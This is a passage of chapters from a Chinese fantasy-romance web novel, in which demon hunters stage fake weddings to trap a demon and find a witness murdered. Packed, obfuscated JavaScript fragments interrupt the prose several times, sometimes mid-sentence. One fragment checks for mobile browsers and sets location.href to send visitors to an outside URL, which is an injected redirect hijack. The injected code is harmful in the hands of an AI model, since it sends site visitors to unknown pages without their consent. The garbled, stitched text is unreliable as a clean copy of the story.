寇言湘翻了个白眼,没好气道:“你来你就知道有多麻烦了。” 崔若盈把头摇得像拨浪鼓:“我为什么要来?我才不来!你可别想临阵脱逃哦!” 说完,也不等寇言湘回答,就一把拉住站在一边的殷逐白,像只灵敏的小动物一般,“噌”地从房间里溜了出去,只留寇言湘在房中哀嚎。 好像害怕被寇言湘追上一样,她拉着殷逐白跑了好远好远,一直跑到一个池塘边。 确定再也听不到寇言湘的声音,崔若盈才停下脚步。 “这还是我第一次见到她被折腾得这么惨。” 说着,她朝四周看了看,见池塘边有一个桥墩,崔若盈干脆坐到桥墩上。想到寇言湘狼狈的样子,她忍不住仰头笑起来。 耿耿月光趁机落在她的脸上,光芒顺着下巴向下流淌,照亮她雪白的脖颈。 崔若盈眉飞色舞地笑着,而殷逐白像是雪人一般静静立在她的身侧,视线定格在她的微微后仰的面容上。 她的身后,是银光闪闪的池塘。暗绿色的莲叶飘在池水上,几滴水珠在莲叶上滚动,闪烁着熠熠的光华。 他看着她,略微有些失神。 崔若盈笑着笑着,声音低了下去。她身体后倾,望着殷逐白的脸,突然严肃道:“殷逐白,我要掉下去喽。” 话音未落,她的身体已经向后倾斜,眼看就要失去平衡,落入波光潋滟的池塘。风声从耳边掠过,失重感随风传来,崔若盈的头扬起,看着高悬在夜空中的明月。 下一秒,她的后背就撞进他的臂弯中。阴郁沉重如冷风般的香气,随着这不轻不重的撞击在她鼻尖弥漫开来。 殷逐白俯身看着她。他背对着月光,一头乌黑的长发因此更黑,几乎与沉沉的夜晚融为一体。 千钧一发间,是他拉住了她。下坠的力量拉扯着他的衣袖,领口原本系得严丝合缝的扣子崩开了两颗,露出月光般苍白的一小块皮肤。 “崔姑娘,这样很危险。” 殷逐白将她拉起来。俯身时,因扣子掉落而微微敞开的领口垂落,崔若盈略一抬眼,就能看到他棱角分明的锁骨。 “你会掉进水里的,以后不要这样冒险了。崔姑娘不是怕高吗?” 殷逐白轻轻说道。他当然能看出,刚刚崔若盈向后仰的动作是故意为之。 崔若盈在桥墩上坐稳,晃了晃自己的腿,仰头看着他:“我是有些怕,不过……” 不过上次内河村事件后,这种惧怕反而被冲淡了不少。 “况且,你不是接住我了吗?” 殷逐白道:“下次我不会接你的。” “真的?” 崔若盈挑眉看着他,身体忽又朝着后面仰去。殷逐白眼神动了动,还没来得及动作,就见她自己坐直了身体,脸上带了几分得色。 “你说谎了。”崔若盈从桥墩上跳下来,走到他面前,轻轻道,“你还是会接住我的,对不对?” 她可是看到了。在刚刚那一瞬间,殷逐白的手臂紧绷,那是要动作的姿态。 殷逐白垂下头,目光正撞上她亮晶晶的双眼。 不知为何,在这一瞬间他突然觉得,夜晚的薄雾、泠泠的月光、凉凉的池水,连带着他的心跳,都变得沉重了许多。 “盈盈……”他忽然道。 崔若盈愣了一下,还以为自己幻听了:“什么?” 殷逐白道:“盈盈……我可以这么叫你吗?” 出乎意料地,他的声音很平静,像是温暖的温泉水,不带一丝波澜。 心脏在跳。很快、很沉,像是一尾鱼在心湖中跳着,时而沉在水底,时而跃出水面,带起一道金色的水光。 崔若盈道:“嗯,可以可以。” 一个称呼而已,她并不在意。 听到她的话,殷逐白的眼角上挑,终于露出一个春花般好看的笑容。他轻声唤道:“好。盈盈。” 语调略微上扬,带着十足的蛊惑之意,像是妖艳水妖发出的阴柔呼唤。崔若盈看了他两眼,心想殷逐白又犯病了。 她早就看出来了,殷逐白就是个阴暗男鬼。一到晚上,他就湿淋淋地钻出自己熟悉的水域,显露出阴暗的真身。 崔若盈把这种行为称之为——发神经。 而她的解决方法,一般是装作没看到。 “时间不早了,我们先回去休息吧。”崔若盈若无其事道,“明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寇言湘已经换上喜服。喜服是临时准备的,稍微有些紧,寇言湘坐在铜镜前,不适应地扭来扭去,身后几个丫鬟婆子正为她梳妆。 “寇姐姐!”崔若盈走过去,“还顺利吗?” 寇言湘苦笑道:“还挺顺利的。” 至少现在还没出什么错。 “那我和殷家主先去婚房埋伏了。”崔若盈道,“你一切小心。” 寇言湘轻轻点头。崔若盈出了门,与早已等在外面的殷逐白会合,两人一同朝着祝星游那边赶去。 祝星游那边同样乱中有序。为了显得逼真,李天福送来了不少丫鬟小厮,又命人搬来时兴花卉装点花园,宅子里一时间热闹非凡。 崔若盈本想帮帮忙,结果因为没有经验,完全插不上手。但现在埋伏又太早了,她只能和殷逐白无所事事地坐在一边,看着其他人忙活。 “有没有感觉到什么?”崔若盈捏着茶杯,询问殷逐白,“比如妖气什么的?” 殷逐白摇头:“什么都没有。” 崔若盈放下茶杯,摸了摸下巴,若有所思。她还是很相信反派的判断的。 那只妖怪,真的会像他们预料的那样过来捣乱吗? 崔若盈持怀疑态度。 不过事到如今也没有更好的选择了。崔若盈放下怀疑,又和殷逐白聊了一会儿。 直到祝星游带着迎亲队伍出门,她才拉着殷逐白一起,躲到了狭窄逼仄的床底下。 52. ——好怪 婚床还算大,足以躲藏两个成年人。崔若盈钻进去,抬手招呼殷逐白:“殷家主等什么呢,快进来呀。” 殷逐白迟疑一瞬,俯身钻到她身边。两人趴在一起,共享这狭窄昏暗的空间。 新娘还没来,婚房内异常安静,只能听到隐约的乐声从门外传来,倒衬得房间中愈发寂寥。 风从冰凉的地板上传来,有些冷。崔若盈换了个姿势,活动了一下僵硬的手腕。 “外面一定很热闹。” 她喜欢凑热闹,一点儿也不喜欢安静。 崔若盈托着腮帮子,晃了晃头。虽然已经打扫干净了,但昏暗的床底仍旧带有阴冷潮湿的味道——其实她不知道这味道是来自殷逐白,还是来自床底。 她有些无聊地捻起垂落在地上的头发把玩着。柔顺的头发绕成一个圈,像是一条小小的黑蛇盘在指尖,灵活地变来变去。 崔若盈借着外面传来的微光,将头发打了个结。 打结时因动作太过粗鲁,扯落了一根长发。奇怪的是,她并没有感觉到疼痛,反而是身边的殷逐白闷哼了一声,幽幽说道: “崔姑娘……” 崔若盈侧过头,只见他正用一种控诉幽怨的眼神看着她。再看看刚才被她不小心拔掉的长发,那长度,明显不属于她。 她这才注意到,她玩的是他的头发,而不是自己的。 “对不起!” 崔若盈立刻松开手,那打了结的头发轻轻掉在地上,乱蓬蓬地,格外引人注目。她尬笑一声:“对不起啦,我这就给你解开。” 说着,又拾起落在地上的头发,翻来覆去地想要把那个结解开。 她扯动他的头发,头皮随之传来些许刺痒感。崔若盈的动作很轻很轻,所以这刺痒的感觉也很轻,像是雨点一般细细密密地落下,需要用尽全身的力气,才能感受到分毫。 他看着崔若盈葱白十指,看着那缕头发在她指尖浮动,忽然想起了那个柑橘味的梦。 梦里,崔若盈的手指穿过他的头发,不轻不重地抚摸着他。那是真实发生的吗? 或者只是他一厢情愿的幻想? “崔姑娘。” 崔若盈听到他叫自己,疑惑地转过头。只见殷逐白不知何时凑近了,两人肩膀抵在一起,他又湿又热的呼吸与她的气息缠绕。 不知道怎么回事,他的眼尾带上了几分晚霞般晕开的红。 ——好怪。 崔若盈心里有种奇怪的感觉。她埋头把玩着手里的头发,不去看他浅红的眼尾:“崔姑娘?你昨晚不是说要叫我盈盈吗?后悔了?” 殷逐白顿了顿,垂下的眼帘挡住眼底的微光。 是。他后悔了。 “殷逐白”凭什么那么亲密地叫她? 盈盈——那是只有他,才能叫出口的亲昵名字。其他的谁,都不配染指。 ……神金。 在殷逐白看不到的地方,崔若盈翻了个白眼,泄愤般狠拉了一下他的头发。余光看到殷逐白轻蹙起眉,眼角红色愈深,她才觉得心里舒服了一点。 不过这样看来,殷逐白情绪太过多变,攻略他果然不是正确的选择。 细细的刺痛感传来。殷逐白看着她的手指在黑发间穿梭,时而拉拽他的发丝,时而又轻柔地抚摸那个头发打成的结,心头升起一阵说不清道不明的快感。 那感觉像是头发一样,千丝万缕地将他包围。可每当他想要抓紧,她又飞快抽离,只留下怅然若失的余韵。 头发的结打得太死,崔若盈研究了好一会儿,等她终于把死结打开的时候,时间已经过去很久了。 她放开殷逐白的头发,探头朝外面看了一眼:“寇姐姐在路上了吧?不知道那妖怪有没有跟着她。” 殷逐白低垂着头,大半张脸都隐藏在黑暗中,脸上的神色并不分明,似乎那丝丝缕缕的触感还未从他身上消失。 过了一会儿,他才说道:“应该快到了。” 这样说着,喜乐的声音离婚房越来越近,极有存在感的唢呐声将寂静撕裂。崔若盈凝神细听,没过一会儿,又听到有爆竹声响起。 “来了来了。”崔若盈打起精神来,“马上要拜堂了。” 她支楞起耳朵,凝神听着。可惜距离太远,听不到更清晰的声音。爆竹声停下,又不知过了多久,杂乱的脚步声接近了,紧接着,门被打开了。 “来了。” 崔若盈浑身一震,不自觉地攥住殷逐白的衣角,连呼吸都短暂地停了下来。她趴在床底下,看不到更多的情况,只能看到红色嫁衣下一双精致的绣鞋。 是寇言湘。 她在丫鬟的搀扶下坐到喜床上,柔顺的裙摆轻轻垂落。几人忙来忙去,一些花生之类的干果簌簌落到床底下。 没有感觉到妖气。而且就目前情况来看,新娘也只有寇言湘一个人。 崔若盈双眼微眯,看了殷逐白一眼,想征求他的意见。殷逐白对她隐蔽地摇了摇头。 他也没发现有妖气。 怎么回事? 崔若盈感觉有些不对劲。 丫鬟相继离开,红烛忽地燃起。摇曳的烛光外,传来吵闹的人声。为防不测,崔若盈没有开口说话,只是静静等着,不知过了一个小时还是两个小时,门终于被打开了。 这次走进来的,是祝星游。同样只是一个人,没有妖气。他进房间后,看到只有寇言湘一个人,愣了一下后坐到一边的椅子上,与盖着盖头的寇言湘相顾无言。 谁也没有说话。而藏在床底的崔若盈,则是在这样诡异凝重的气氛中品出了几分尴尬。 又等了一小会儿,寇言湘掀开了自己的盖头,叹息着说道:“他没来。” 祝星游无声地点点头。崔若盈轻咳一声,从床底爬了出来:“看来,我们的计划失败了。” 究竟是怎么失败的?妖怪恰好没时间?还是说,他们的计划被妖怪识破了? “没想到劳累了一天,是这么个结果。”寇言湘又叹了一口气,“我们接下来该怎么办?” 总不能一直留在安平城不走了。 但要是就此撒手不管,以后安平城恐怕还会有受害者出现,这让善良的寇言湘很是受不了。 四人面面相觑。 “什么,那妖怪居然没来吗?” 听到这个消息,李天福险些晕了过去。李小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔若盈给她倒水:“要是不狡猾,也不可能在安平城为非作歹一年多。对了,寇姐姐你不是和他交过手吗?还有祝大哥。” 祝星游点头:“只是过了几招。” 崔若盈道:“你们感觉,那只是个什么妖怪?” 殷逐白道:“根据之前的除妖师们调查,那只似乎是只罗刹鸟。” “罗刹鸟?”祝星游拧眉思索,“不太像。” 崔若盈眸光一动:“为什么?” 寇言湘看了祝星游一眼,替他解释道:“罗刹鸟是墓中积郁之气所化妖怪,身上阴气很重。但我和他交手时没感觉他身上有什么阴气,反而还有一种……” 崔若盈追问道:“一种什么?” “说不出来,之前我从没见过妖怪身上有这种气息。不是阴气,而是一种很明亮、平和的气息。” 寇言湘用“明亮”和“平和”来形容妖气。 崔若盈想到自己之前遇见的那只罗刹鸟身上的确有一股腐臭的气息,的确和这两个形容词沾不上边。 那么,那只妖怪又为什么具备罗刹鸟的部分特征呢? 正想着,有人敲了敲门。崔若盈看过去,发现原来是李惠夏,她身后跟着一个怀抱点心盒的丫鬟。 53. 哪里都不一样 李惠夏对几人打了个招呼,让丫鬟将点心盒放在桌上:“几位辛苦了,我特意让厨房做了点心。” 崔若盈笑着说道:“麻烦李小姐关心。这都是我们除妖师该做的。” 李惠夏叹着气,坐到寇言湘身边。 “其实寇姑娘都和我说了,我知道你们有重要的事要赶路去平幽。如果不是为了我,你们也不会在安平城滞留这么久。” 寇言湘正色道:“李小姐此言差矣。人命没有轻重之分,平幽那边的事重要,安平城百姓的命也同样重要。我们不能看着那只妖怪作祟却置之不理。” 崔若盈道:“是呀,现在最重要的,是尽快抓住妖怪,这样安平城也能恢复安宁,我们也能尽快赶路了。” 不过这只妖怪太会隐藏。几人目前掌握的线索零零散散,根本无法拼凑出妖怪的信息。 “要是吴小姐记得什么就好了。” 寇言湘道:“吴小姐还在金鸣寺吗?” 崔若盈想了想:“应该还在吧。听说她每次都会在金鸣寺住上几天。” “金鸣寺?”李惠夏听到这个词,抬了抬头,“是城北那个金鸣寺吗?” “李小姐听说过?” 李惠夏还没说话,她身边的丫鬟秋珠先笑了一声:“当然听说过了。崔姑娘,金鸣寺在我们这儿可出名了,以前我们姑娘和姑爷也去过呢。” “是的。”李惠夏点点头,“那时候金鸣寺还没失火,安平城也没有什么妖怪作祟。” 李惠夏也去过金鸣寺? 崔若盈愣了一下,试探着问道:“李小姐知道金鸣寺为什么失火吗?” “这个啊……”李惠夏垂眸思索两秒,“似乎是有人纵火,更详细的就不清楚了。秋珠,你知道吗?” 秋珠性子活泼,平时消息最灵通,听到李惠夏问她,连忙答道:“知道知道,是不满姻缘的人放了火。其实呢,我听说在那件事之前,就有一些人对金鸣寺不满了。” 崔若盈和殷逐白交换了一个眼神。这件事,官府的卷宗上可没写。 殷逐白道:“秋珠姑娘可否详细说说?” “嗯……” 秋珠看了李惠夏一眼,得到她的许可后才向下说。 “也没什么,就是金鸣寺名声在外,来求姻缘的人都希望得到十全十美的姻缘。可是世界上哪有十全十美的好事呢?所以就有很多人不满。放火的那个贼人就是这种吧。” “原来是这样。” 崔若盈低头深思。 过了一会儿,天色大亮,李惠夏就带着秋珠离开了,四人又开始商量接下来的计划。 嫁衣花轿用昨天的就行,不用重新准备,连宾客都可以雇同一批人,只需要换个场地就行,方便极了。 计划定在明天,还有一日缓冲时间,留给崔若盈准备。 “现在轮到你了吧?” 寇言湘坐在一边的绣凳上,看着崔若盈试衣服,幸灾乐祸地说道。 崔若盈扯了扯衣服。嫁衣是匆忙准备的,寇言湘穿着有些小,但她穿着还算合适。 听到寇言湘说话,她轻笑了一声:“寇姐姐还对之前的事念念不忘?和祝大哥成亲的感觉怎么样?” 寇言湘道:“那只是假成亲!而且……而且什么感觉,你明天就知道了。” 崔若盈脱下嫁衣:“我们可不像你们一样。” 寇言湘和祝星游是互相喜欢的,只不过寇言湘嘴硬心软,祝星游不善言辞,直到结局,这对苦命鸳鸯才表明心迹。 而她和殷逐白嘛……殷逐白对她负好感,她又盘算着杀了殷逐白。两人看着暧昧,但那都是表面上的罢了。 寇言湘不明白她的意思,追问道:“不一样?什么不一样?” 崔若盈把嫁衣叠好放在一边,搪塞道:“哪里都不一样。” 如果她能杀了殷逐白,改变原著剧情,寇言湘和祝星游也许能有个HE的好结局吧。 寇言湘还是搞不懂她的意思,正想着再问,门口突然传来敲门声。崔若盈打开门,一个丫鬟对她行了一礼:“崔姑娘。” 崔若盈道:“怎么啦?” “有人让我把这个交给你。” 丫鬟手里的,是一封信,信里鼓鼓囊囊的,还塞了东西。 崔若盈皱起眉。她进入小世界也不过两三个月,基本上都在围着男女主和反派转,根本没有认识的人。 谁会知道她住在李宅,还特地写信给她? 崔若盈心中有了某种预感。她拆开信封,一串佛珠从里面掉了出来。 佛珠带着淡淡的香味,珠子光滑圆润。崔若盈一眼就认出,这是吴云淑戴的那个。 是吴云淑? 顾不上多想,崔若盈攥着佛珠,又找出一张信纸。展开信纸,只见娟秀的小字淡然陈列在浅褐色的信纸上。 “崔姑娘,今日酉时三刻城西桐花巷一叙。” 落款是吴云淑。 “吴云淑?”寇言湘也看到了纸上的内容,“这不是唯一幸存下来的那位吴小姐吗?她有事找你?” 崔若盈攥着佛珠,看向送东西的丫鬟:“请问是谁把这封信送来的?” 丫鬟想了想:“我听门房说,是一个穿着绿衣裳的年轻丫头,脸很圆,眉头上有一颗红痣。” 那应该就是小晴了。 吴云淑果然隐瞒了什么。而现在,不知出于什么原因,她又不想隐瞒了。 圆润的佛珠摩擦着掌心,触感冰凉。崔若盈看了眼系统面板上的时间——刚到下午六点,距离信上写的酉时三刻还有一段时间。 不过崔若盈觉得,提前一点去看看也没坏处。 寇言湘也反应过来,对崔若盈点点头。两人一同出了门,正好撞见祝星游和殷逐白,四人干脆一起出门,朝着桐花巷赶去。 桐花巷就是吴云淑所住的地方,崔若盈和殷逐白曾经来过一次,知道她住在哪里。 刚到桐花巷巷子口,崔若盈便感觉到一阵妖气冲天而起,朝着远方飞去。那妖气驳杂泥泞,恶意冲天。 “是那只妖怪!” 寇言湘目光一凝,扭头急促道:“我和祝星游追过去,小盈,你们去看吴小姐!” 说着,身体化作流光,朝着妖怪的方向追去。祝星游一言不发跟在她身后,身影转瞬消失无形。 崔若盈和殷逐白对视一眼,目光又同时移动到面前深深的小巷中。刚才的妖气,就是从小巷深处窜出来的。 “……希望吴小姐没事吧。” 殷逐白低低应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024587|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“嗯。” 进到巷子里,崔若盈率先叩响青灰色的大门。“咚咚咚”的沉闷敲门声在小巷中回荡,大门内传来雨点般急促的脚步声。 “来了来了!” 门被拉开。 “咦?是你们啊?” 小丫鬟从门中探出头来。上次两人来这里时,就是她出来接待的,崔若盈记得她叫小雨。 “你们有什么事吗?” 崔若盈拿出佛珠,在小雨眼前晃了晃:“吴小姐约我们来这里见面。她现在在吗?” “是这样啊。”小雨让开路,让两人进去,“小姐一炷香前才刚回来呢,没想到还约了你们。是小晴给你们送的信吗?” 崔若盈道:“是她。小晴姐姐回来了吗?” “没。今天一直没见到她人,小姐是独自一人回来的。” “独自一人?”崔若盈疑惑,“吴小姐不能视物,一个人怎么回来?” 小雨卡了一下,好像刚意识到这点:“嗯……可能是有人送她回来的吧。反正我开门的时候,只看到小姐一个人。” 三人向前走着。崔若盈心思浮动,正想着吴云淑的事,忽闻到阵阵香气从后向前蔓延,将她包裹其中。紧接着,几缕发丝落在她的脖颈上。 殷逐白和她说悄悄话。他的发丝像是从悬崖上垂落的藤蔓,紧紧拥抱着她。 “我闻到了。” 微弱的气流从耳垂边划过,带起一阵湿热的风。崔若盈偏了偏头:“什么?” 他轻描淡写地说道:“血腥味。” “血腥味?” 崔若盈重复了一遍。还没等她多问,前面带路的小雨就在一个房间前停住了脚步:“两位稍等,我去叫我家小姐。” 说着,她推开门。 伴着“吱呀”一声响,阴冷的风仿佛从房间内吹出来,淡淡的腥气像是无处不在的云雾,刹那间奔涌而出。 这下,不用殷逐白说,崔若盈也闻到了。 ——血腥气。 她看了殷逐白一眼,越过愣在原地的小雨,快步踏入房中。一进入房间,那股气息愈发浓烈,朝内间走两步,血腥气的源头随之映入眼帘。 是吴云淑。 准确来说,是吴云淑的尸体。 崔若盈沉默一下,蹲下身探了探她的鼻息。殷逐白站在浓郁的血腥气中,用温和的语气说道:“她已经死了。” 他的声音没变,一如既往地温柔,是弥漫满屋的血气给这温柔镀上了一层残忍和冷酷。 崔若盈道:“我知道。” 她检查了一下尸体。 吴云淑躺在地上,身体从正面被某种东西刺穿,鲜血顺着胸口的伤流下,在地板上汇聚成一滩湖泊。 她身上有些许妖气残留,和刚才感知到的那股气息一致,显然就是被那只妖怪所杀。 看来,唯一幸存者吴云淑,最终也没能逃得过那只妖怪的魔爪。 崔若盈叹了口气,正欲站起身,忽然发现吴云淑藏在袖子里的一只手正紧紧攥起,似乎捏了什么东西。 难道她死前留下了什么信息? 趁尸体还未僵硬,崔若盈掰开她的手。然而那只手里捏着的,仅仅是一些黑乎乎的、不知什么东西燃烧后留下的灰烬。 54. 永远跟着崔姑娘 崔若盈深吸一口气,回头看向目睹尸体惨状,愣在原地的小雨:“小雨姐姐,快去报官吧。” 流程还是要走的。 小雨这才如梦初醒般,面带惧色地点点头,踉跄着跑出去了。 见她离开,崔若盈蹲回尸体旁,用指尖沾了一点儿吴云淑手中的灰烬,试图分析出那什么成分。 然而那东西烧得太干净,她的挣扎只是徒劳。 “这下惨了。”崔若盈站起身,掏出怀里的佛珠和信纸,“线索没有,人也死了。只希望寇姐姐和祝大哥能把那妖怪抓到。” “不必着急。” 原本在检查尸体的殷逐白起身。他似乎不适应满室血气,悠悠走到窗前,推开了窗。 春天的风吹进来了。已是晚春,和煦轻风温柔地涌入房间,垂柳在夕阳中摇摆。 “天快黑了。”殷逐白道。 有人回来了。却不是寇言湘和祝星游,而是出去报案的小雨和到李家送信的小晴,两人遭受打击,连路都走不稳,还是互相搀扶回来的。 见到崔若盈,小晴颤抖着问道:“我们小姐……” 崔若盈沉默地点点头,小晴顿时哭了起来。 “节哀。”崔若盈说道。 她其实不懂死别的悲伤,毕竟她离开原世界后一直奔波,再没有过特别亲密的家人、朋友。 因此,她的安慰像是灌了少量冷水的热水袋,纵然用尽全力,也显得干瘪冰冷。 “我以为你会多安慰几句。” 小晴和小雨进去看尸体。崔若盈和殷逐白就站在院子里,望着傍晚温和的风。 吴云淑爱好侍弄草木,院子里绿意盎然。崔若盈拨弄着一朵半开的花,闻言拉长语调:“我也想安慰,但我实在不知道说什么呀。殷家主怎么不说几句?” 殷逐白垂眸道:“生老病死是再寻常不过的事,今日与你谈笑风生的人,可能明日就会死。” 崔若盈回头定定地看着他:“你也会死吗?” 殷逐白不答。崔若盈又转过头,轻声道:“说实话,我不想你死。” 她对殷逐白,多少有些同病相怜的感情在。 他没有名字,从一出生开始就被憎恶;而她更是倒霉蛋中的倒霉蛋,连自己的世界都容不得她,将她拒之门外。 所以,想到自己要亲手杀了他(或者计划失败被他反杀),崔若盈心中就有些悒郁。 不过嘛,让她就此放弃,那也是不可能的。 “盈盈不想我死,我就不死。” 殷逐白弯下身子,用比月色还迷蒙的模糊语气说道。 “我永远陪着你,你也永远陪着我,好不好?” 他站在一棵矮松下,微微弯下腰,松香好像从他的怀抱里飞出来的一般。 不知是有意还是无意,一直严丝合缝系着的衣领今天突然敞开了,露出一小块因不见天日而分外苍白的皮肤。 以及被霞光染成绯色的喉结。 反派又耍什么花招? 崔若盈斟酌着说道:“以后的事谁也说不准,也许以后你都想不起来有我这么个人呢。” 好吧,她承认她就是小心眼,对殷逐白忘了她导致三个月的努力打了水漂的事耿耿于怀。 并且她再也不会相信反派嘴里的任何一个字。 青年失落地垂下眼帘:“没想到,崔姑娘连骗我都不愿意。但是……” 他轻轻叹了一声,眼中闪烁着暗光。 “但是我会永远永远……” 永远 永远 永远跟着崔姑娘 永远永远 崔若盈背后一凉,回头看他:“什么?” 青年的声音太轻,尾音已化作深沉的叹息,晕在醉人的晚霞中。叹息声从耳边擦过,崔若盈只听到一句“永远”。 殷逐白微笑看着她。还没等他回答,小雨和小晴就从屋子里走了出来,脸上还带着未干的泪痕。 崔若盈顿时把刚才的事忘到脑后:“你们还好吧?” “我们没事。”小晴擦了擦眼泪,“你们有什么要问的,尽管问吧,我不会隐瞒的,只要你们能捉住那只妖怪,替我们小姐报仇——” 最后一句话,她几乎是咬牙切齿说出来的。 “好,那我问了。”崔若盈也不废话,直接开始问询,“我听说你和你家小姐不是一起回来的?” “是的,入城后小姐让我先过来送信,我们就分开了。” “她自己回来的?” “不是,还有赶车的车夫。其实我也很奇怪,小姐平时很少让人离身的。但是小姐坚决让我送信,我就只好去了。” 崔若盈问:“马车上只有吴小姐和车夫?” 小晴点头:“没有其他人了。” 小雨和小晴知道的不多,基本上没有什么有用的信息。崔若盈稍微问了两句,就让她们去收殓尸体,自己则坐在门外思索起来。 “吴云淑一反常态,急着让小晴去送信,很有可能是察觉到了危险。”崔若盈摸了摸下巴,“说不定,当时妖怪就在马车里,只是小晴看不见。” 大多数妖怪都会隐身的法术。虽然有的法术很拙劣,但骗骗普通人足够了。 “可吴小姐同样目不能视,她又怎么能看到妖怪呢?” 崔若盈一时哑然,只好道:“等寇姐姐回来,看他们怎么说吧。” 这一等,就等了好久。一直到夜幕低垂、弦月高照,寇言湘和祝星游才回来。 两人脸色苍白、灵力耗尽,衣服也破了,一身狼狈,显然经历过一番激斗。 见崔若盈看过来,寇言湘疲惫地摇摇头:“我们被围攻了。” 这个结果大大出乎崔若盈意料:“他还有帮凶?” 寇言湘叹了口气,把自己和祝星游的经历一一说了。 两人追着那妖气出城,没多久,就被一群妖怪团团围住。那些妖怪虽然不算太强,但悍不畏死,如同只会杀戮的机器一般,让寇言湘和祝星游吃了不少亏。 等两人脱身,那只妖怪早就跑得没影了。 “围攻你们的都是什么妖怪?” “狼妖、野猪妖、花妖……什么妖怪都有。” 说完这句话,寇言湘也陷入沉思。 大部分妖怪都以族为单位群居。毕竟妖族与妖族之间也有食物链,很少有不同种族的妖怪生活在一起。 崔若盈将疑点记在心里,又对寇言湘两人说了一下吴云淑的状况。听说吴云淑遇害,寇言湘攥紧手中的剑,默默无言。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔若盈顿了顿:“殷逐白。” 依旧冷硬。 “小白。” 崔若盈怔了一下:“嗯?” 青年望着她,眼中满溢着盈盈的光晕,如同化不开的春雾。他声音低低,拉着她的衣袖,近似乞求地说道:“你叫我小白好不好?” 这个名字……这个突然出现在他脑海中的名字,就好像一条半透明的蛛丝,看似脆弱,却承载了他与她全部的联系。 崔若盈皱起眉,断然拒绝:“不好。” 她很少拒绝反派,更别说拒绝得这么干脆。 而崔若盈这么做的原因也很简单。 ——名字。 没名字的动物,和有名字的动物是不同的。前者是待宰的家禽,是即将端上餐桌的一块肉;而后者的生命,却因有了名字而变得不同。 “还是叫你殷家主吧,我觉得这样比较好。” 崔若盈抬起头,对他灿烂地笑了笑。 系在她与他之间的那根蛛丝,轻轻地断了。 55. 她更爱他 盈盈—— 当时明明是他主动选择进入到这可笑的恋爱游戏中,为何现在,却是他深陷泥沼,挣脱不得呢? 非常不凑巧。 崔若盈成婚的日子,居然是个狂风大作的阴雨天。 开始的时候,小雨淅淅沥沥。中午,雨势大了,风吹着雨珠,拍在窗户上。声势浩大。 崔若盈坐在镜前,端详着昏黄铜镜映出的自己。 丫鬟给她敷了一层薄薄的粉,又依次上了胭脂、口脂。头发已经梳好,金玉首饰缀在发间,沉甸甸的。 崔若盈晃了晃头,精巧的耳坠也跟着轻轻晃动,在铜镜中落下一道金色的浮光。 她很少这样盛装打扮,乍一看,竟有些认不出镜中人。 “雨还没停呢。” 有丫鬟小声嘀咕道。明明昨晚还是晴空万里的好天气,结果今天却下了大雨,实在不是个好兆头。 崔若盈倒不是很在意。 迎亲的队伍到了,锣鼓声渐渐接近。只是在倾盆大雨的遮盖下,再热闹的声音都会变得萧条。 繁琐的仪式后,丫鬟撑着伞,扶着崔若盈上花轿。 隔着红盖头,外面的景色都变成了血一般的鲜红,她遥遥瞥见殷逐白坐在高头大马上,一身红衣被淋得湿透。 他也在看着她。 一双桃花眼被雨水淋湿,眼中仿佛氤氲着雾气。奇怪,似乎她对殷逐白的印象,总来自于瓢泼的大雨。 视线隔着雨幕和红盖头交错,崔若盈微不可察地点点头,在丫鬟的搀扶下上了花轿。 迎亲的队伍动了起来,像是涌动的蚁群。崔若盈闭上眼,仔细感知着周围,却没感觉到有什么妖气。 这次该不会也失败了吧? 崔若盈蹙起眉。 虽然她并没有表现出来的那样热心肠,但这只妖怪抓不到,还是很让人心烦意乱的。 想到这里,崔若盈叹了口气,斜斜地倚靠在花轿中。虽然是第一次成亲,但她一点儿也不紧张,甚至开始摆烂。 反正做个样子就成。 花轿在暴雨中平稳地摇摆着,没过一会儿就停了下来。崔若盈又被人扶下花轿,和殷逐白并肩走着。 两人离得不算近。不过,崔若盈还是能感受到他身上凉凉的水汽,以及那一声微弱的——“盈盈”。 崔若盈顿了一下,前面正好出现一个火盆。 跨一下,去去晦气。 跨过火盆进了屋,李天福找来的临时演员早已坐在堂上。傧相站在一旁,声音高亢而嘹亮。 “一拜天地——” 心不在焉地拜过之后,崔若盈被送入洞房。 因为寇言湘和祝星游的气息已经被妖怪记住,所以两人没有出现在新房内,而是悄悄混在宾客中,观察着事态的发展。 婚房内空无一人,崔若盈静静地坐在床上等待着。而那只妖怪,迟迟没有出现。 按照官府卷宗上的记载,早在新娘坐上花轿时,那妖怪就应该已经混进来了才对。 又失败了? 崔若盈攥紧袖子,柔软的衣料被她捏得皱起,像是红色的波浪。房间内十分安静,只有红烛摇曳,时而发出一声爆响。 忽地,门被推开了。暴雨带来的冷气卷入屋子,吹动橙色的烛火,崔若盈感觉有冷风吹动她的盖头。 红色的身影踩着风雨走来。她能听到他轻浅的呼吸声,一下一下,像是伴着暴雨吹来的风。 “盈盈——” 他拉长语调,像是孤魂野鬼那样唤着她。冷气透过盖头,吹在她的脸上,浓郁的阴冷香气在房间中弥漫。 “盈盈——” 又是一道呼唤响起。两道声音纠缠着、交错着,像是化不开的云。崔若盈猛地揭开盖头。 在她面前,赫然站着两个殷逐白! 两张一模一样的漂亮面庞上,同样挂着似笑非笑的神情。 